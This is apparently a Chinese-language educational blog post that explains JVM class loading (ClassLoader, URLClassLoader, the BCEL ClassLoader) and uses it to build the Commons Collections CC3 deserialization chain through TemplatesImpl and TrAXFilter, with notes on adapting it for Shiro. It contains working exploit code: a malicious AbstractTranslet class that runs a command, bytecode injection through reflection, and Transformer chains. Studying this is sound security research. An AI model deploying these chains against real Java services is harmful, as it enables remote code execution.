类加载机制
.java
、.rb
、.groovy
等文件经过对应的编译器生成.class
文件(字节码形式)被加载到JVM虚拟机,这也是支持Java跨平台的重要原因。
.class
文件结构可以参考/com/sun/tools/classfile/ClassFile.class
中包含许多属性,如,代表Class文件标志的magic
;代表Class版本的major_version
;还有代表当前类、父类、接口、字段、方法等内容的。这部分可以对照IDEA的jclasslib插件学习。.class
文件最终要被加载到JVM中,包括三步加载、连接(验证、准备、解析)、初始化。这里重点说一下类的加载过程。
ClassLoader
加载是通过全限定类名获取类的二进制字节流,在内存中生成一个代表类的Class对象。这一动作由类加载器ClassLoader来实现。JVM内置了三个:BootstrapClassLoader(%JAVA_HOME%/lib
)、ExtClassLoader(%JRE_HOME%/lib/ext
)、AppClassLoader(加载classpath下的jar包)。第一个由C++实现,后两个由Java实现,位于sun.misc.Launcher
ClassLoader使用委托模型来搜索类和资源。ClassLoader.loadClass()
方法如下,其逻辑就是先判断类是否被加载过,如果没有就交给父类;如果向上委托没成功就调用findClass()
,根据名称找到对应的class文件。
protected Class> loadClass(String name, boolean resolve) throws ClassNotFoundException
{
synchronized (getClassLoadingLock(name)) {
Class c = findLoadedClass(name); // 首先判断类是否已经被加载
if (c == null) {
long t0 = System.nanoTime();
try {
if (parent != null) {
c = parent.loadClass(name, false); // 父类加载器不为空就先让父类处理
} else {
c = findBootstrapClassOrNull(name); // 如果父类加载器为空就调用启动类加载器BootstrapClass
}
} ...
if (c == null) {
c = findClass(name); // 如果没有找到父类调用findClass查找类...
}
}
if (resolve) {
resolveClass(c);
}
return c;
}
}
上述的三种内置加载器都会从本地文件系统中加载类,但在ClassLoader的注解中有这样一段话,如下,意思是有些类可能不是来自文件,而是网络、jar/zip、数据库等,那么就需要先用defineClass()
将字节数组转换成Class实例。这部分的逻辑在JVM中用C实现的
However, some classes may not originate from a file; they may originate from other sources, such as the network, or they could be constructed by an application. The method defineClass converts an array of bytes into an instance of class Class. Instances of this newly defined class can be created using Class.newInstance.
URLClassLoader
ClassLoader是一个抽象类,其中很多方法如findClass()
等是没有具体实现的。其最常用的实现子类是URLClassLoader。并且它是AppClassLoader和ExtClassLoader的父类。
static class AppClassLoader extends URLClassLoader {...}
static class ExtClassLoader extends URLClassLoader {...}
URLClassLoader用于从Jar文件和URL路径下加载类和资源。它实现了findClass()
,代码如下,可以看到最后还是调用defineClass()
来实际处理类。但是,defineClass()
只加载,并不进行对象的初始化!
protected Class> findClass(final String name) throws ClassNotFoundException
{
try {
return AccessController.doPrivileged(
new PrivilegedExceptionAction() {
public Class run() throws ClassNotFoundException {
String path = name.replace('.', '/').concat(".class"); // 将类的全限定类名转换成.class文件路径
Resource res = ucp.getResource(path, false); // 在url中查找是否存在
if (res != null) {
try {
return defineClass(name, res); // 存在就加载类
} ...
}
整体来说,ClassLoader的一般加载流程是:loadClass->findClass->defineClass
,真正对类进行加载的是defineClass()
。但defineClass是protected的,所以无法外部访问。只能找到其他对其进行调用的地方。
BCEL
在JDK中搜索ClassLoader
类,除了上述的java.lang.ClassLoader
还有一个com.sun.org.apache.bcel.internal.util.ClassLoader
。它来自Apache commons BCEL,被包含在JDK中。这个类重写了loadClass()
方法
protected Class loadClass(String class_name, boolean resolve)
throws ClassNotFoundException
{
Class cl = null;
if((cl=(Class)classes.get(class_name)) == null) { // 如果classes哈希表中没有
for(int i=0; i < ignored_packages.length; i++) { // ignored_packages={"java.", "javax.", "sun."}
if(class_name.startsWith(ignored_packages[i])) {
cl = deferTo.loadClass(class_name); // 也就是JDK自带的类用系统加载器加载
break;
}
}
if(cl == null) {
JavaClass clazz = null;
if(class_name.indexOf("$$BCEL$$") >= 0) // 如果类名是以$$BCEL$$开头
clazz = createClass(class_name); // 创建类
else { // 否则从repository中加载类
if ((clazz = repository.loadClass(class_name)) != null) {
clazz = modifyClass(clazz);
} else
throw new ClassNotFoundException(class_name);
}
if(clazz != null) {
byte[] bytes = clazz.getBytes();
cl = defineClass(class_name, bytes, 0, bytes.length); // 将类加载到内存
} else
cl = Class.forName(class_name);
}
if(resolve)
resolveClass(cl);
}
classes.put(class_name, cl);
return cl;
}
BCEL.loadClass()
的逻辑是如果不是JDK自带的类,就判断类名是否以$$BCEL$$
开头,如果是就创建此类。创建的方法createClass()
如下
protected JavaClass createClass(String class_name) {
int index = class_name.indexOf("$$BCEL$$");
String real_name = class_name.substring(index + 8); // 取BCEL后的内容
JavaClass clazz = null;
try {
byte[] bytes = Utility.decode(real_name, true); // 解析BCEL后的字节流
ClassParser parser = new ClassParser(new ByteArrayInputStream(bytes), "foo");
clazz = parser.parse();
} ...
}
如果我们创建一个恶意类Evil3,BCEL生成$$BCEL$$
字符串和加载恶意类的方式如下
JavaClass javaClass= Repository.lookupClass(Evil3.class);
String code= Utility.encode(javaClass.getBytes(),true);
System.out.println(code);
new ClassLoader().loadClass("$$BCEL$$"+code).newInstance();
BCEL也是RCE漏洞的利用重点,但不是此文的重点,主要是延伸一下类加载机制的其他应用。接下来说回CC3
TemplatesImpl
之前的链条,比如CC6/CC1是控制一个可以执行命令的地方,那么根据类加载机制,如果可以控制一个defineClass或者loadClass的地方,就能通过构造恶意类来RCE。TemplatesImpl类的内部类TransletClassLoader重写了defineClass()
。
static final class TransletClassLoader extends ClassLoader {
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}
}
TemplatesImpl的核心调用链
TemplatesImpl#getOutputProperties() ->
TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() ->
TemplatesImpl#defineTransletClasses() ->
TransletClassLoader#defineClass()
从调用链的上层向下看想要执行到defineTransletClasses()
,要求:(1)_name
不能为null (2)_class
需要为null。
进入defineTransletClasses()
后想要执行到defineClass(),要求_tfactory
不能为空。
public synchronized Transformer newTransformer() throws TransformerConfigurationException{
TransformerImpl transformer;
// getTransletInstance()
transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory);
}
private Translet getTransletInstance() throws TransformerConfigurationException {
try {
if (_name == null) return null;
if (_class == null) defineTransletClasses(); // defineClass
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance(); // 实例化
...
}
private static String ABSTRACT_TRANSLET
= "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
private void defineTransletClasses() throws TransformerConfigurationException {
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() { // _tfactory如果为空,该对象的方法调用getExternalExtensionsMap()就会抛出异常
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});
try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];
if (classCount > 1) {
_auxClasses = new Hashtable();
}
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]); // defineClass
final Class superClass = _class[i].getSuperclass();
// 被加载的类需要为ABSTRACT_TRANSLET类型,即AbstractTranslet
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i; // _transletIndex默认为-1
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
if (_transletIndex < 0) { // 如果是默认值-1在这步会抛出异常
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
另外,前面讲到,defineClass并不进行初始化,newInstance()
才会执行构造函数中的内容,所以在执行到newInstance()
之前不能抛出异常,被加载的类父类需要为AbstractTranslet
。
那么被加载类可以构造成如下的形式,继承自AbstractTranslet
。
public class Evil2 extends AbstractTranslet {
public void transform(DOM document, SerializationHandler[] handlers)
throws TransletException {}
public void transform(DOM document, DTMAxisIterator iterator,
SerializationHandler handler) throws TransletException {}
public Evil2() {
super();
try {
String[] cmds = System.getProperty("os.name").toLowerCase().contains("win")
? new String[]{"cmd.exe", "/c", "calc.exe"}
: new String[]{"/bin/bash", "-c", "open -a Calculator"};
Runtime.getRuntime().exec(cmds);
} catch (Exception e) {
e.printStackTrace();
}
}
}
然后将.class
文件进行base64编码,传入到TemplatesImpl中,即可完成恶意类加载
byte[] bytes=new BASE64Decoder().decodeBuffer("yv66vg......");
TemplatesImpl templates=new TemplatesImpl();
Field f=templates.getClass().getDeclaredField("_bytecodes");
f.setAccessible(true);
f.set(templates,new byte[][]{bytes});
Field f1=templates.getClass().getDeclaredField("_name");
f1.setAccessible(true);
f1.set(templates,"Evil");
Field f2=templates.getClass().getDeclaredField("_tfactory");
f2.setAccessible(true);
f2.set(templates,new TransformerFactoryImpl());
templates.newTransformer();
那么理论上我们把CC6的Transformer中的内容由Runtime命令执行换成TemplatesImpl类加载即可,如下
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(templates), // 上述生成的templates
new InvokerTransformer("newTransformer",null,null)
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
Map map=new HashMap<>();
Map expmap= TransformedMap.decorate(map,null,chainedTransformer);
expmap.put("key","value");
但是如果和ysoserial的CC3去对比,CC3对于Transformer进行了改造,如下
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templates}
)
};
对应的TrAXFilter
构造函数包含newTransformer()
操作,InstantiateTransformer
则是用来调用构造函数。
# TrAXFilter
public TrAXFilter(Templates templates) throws
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}
# InstantiateTransformer
public Object transform(Object input) {
Constructor con = ((Class) input).getConstructor(iParamTypes);
return con.newInstance(iArgs);
}
反序列化调用链一个是结合不同的第三方组件进行构造,另一个则是根据黑名单进行绕过。所以会有很多不同的组合。这也是Transformer变化的原因。
但是这个TemplatesImpl链条在攻击Shiro的时候还需要改造。因为直接用传统的Transformer+TemplatesImpl会报错:org.apache.shiro.util.UnknownClassException: Unable to load class named [ [ Lorg.apache.commons.collections.Transformer;] from the thread context
。问题在于org.apache.shiro.io.ClassResolvingObjectInputStream
重写了resolveClass()
方法,反序列化流中不能包含非Java自身的数组。所以无法使用ChainedTransformer
。需要改造成只调用InvokerTransformer
的形式,搜Shiro的payload即可,不是本篇的重点。